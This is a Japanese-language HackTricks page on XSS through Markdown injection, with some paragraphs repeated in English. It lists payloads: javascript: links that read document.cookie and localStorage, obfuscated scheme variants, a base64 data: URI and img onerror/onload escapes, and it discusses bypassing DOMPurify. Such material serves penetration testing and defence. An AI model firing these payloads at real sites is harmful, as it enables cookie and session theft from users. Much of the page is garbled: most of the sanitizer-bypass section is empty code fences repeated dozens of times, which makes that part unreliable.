# XSS in Markdown
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* あなたは**サイバーセキュリティ会社**で働いていますか？ HackTricksであなたの**会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するために、PRを[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に提出してください**。
もしマークダウンにコードを注入する機会がある場合、コードが解釈される際にXSSをトリガーするために使用できるいくつかのオプションがあります。
### HTMLタグ
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。
```html
```
[メインのXSSページ](./)には、さらに多くの例があります。
### JavaScriptリンク
HTMLタグが選択肢にない場合は、常にMarkdownの構文を使って試してみることができます：
```html
[a](javascript:prompt(document.cookie))
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img イベント構文の乱用
The `img` tag in HTML allows the inclusion of images in a webpage. It also supports various attributes, including the `onerror` attribute, which is triggered when an error occurs while loading the image. This attribute can be abused to execute arbitrary JavaScript code.
HTMLの`img`タグは、ウェブページに画像を含めるために使用されます。また、`onerror`属性など、さまざまな属性もサポートしています。`onerror`属性は、画像の読み込み中にエラーが発生した場合にトリガーされ、任意のJavaScriptコードを実行するために悪用されることがあります。
To exploit this, an attacker can inject malicious JavaScript code into the `src` attribute of the `img` tag. When the image fails to load, the `onerror` event is triggered, executing the injected code.
攻撃者は、悪意のあるJavaScriptコードを`img`タグの`src`属性に注入することで、これを悪用することができます。画像の読み込みに失敗すると、`onerror`イベントがトリガーされ、注入されたコードが実行されます。
Here is an example of an XSS payload using the `onerror` attribute:
以下は、`onerror`属性を使用したXSSペイロードの例です。
```html
```
In this example, when the image `nonexistent-image.jpg` fails to load, the `onerror` event is triggered, and an alert box with the message "XSS" is displayed.
この例では、画像`nonexistent-image.jpg`の読み込みに失敗すると、`onerror`イベントがトリガーされ、メッセージ「XSS」を含むアラートボックスが表示されます。
This technique can be used to perform various malicious actions, such as stealing user cookies, redirecting users to malicious websites, or defacing the webpage.
この技術は、ユーザーのクッキーを盗む、ユーザーを悪意のあるウェブサイトにリダイレクトする、ウェブページを改ざんするなど、さまざまな悪意のある行動に使用することができます。
```markdown
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
### HTMLサニタイザーマークダウンバイパス
以下のコードは、HTML入力を**サニタイズ**してから**マークダウンパーサーに渡しています**。その後、MarkdownとDOMPurifyの間の誤解釈を悪用してXSSをトリガーすることができます。
```html
```
ペイロードの例：
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
[Click me](javascript:alert('XSS'))
```
```html
Click me
```
```markdown
[Click me](javascript:alert('XSS'))
```
```html
Click me
```
```markdown
)
```
```html
)
```
```markdown
)
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html
```
```markdown
```
```html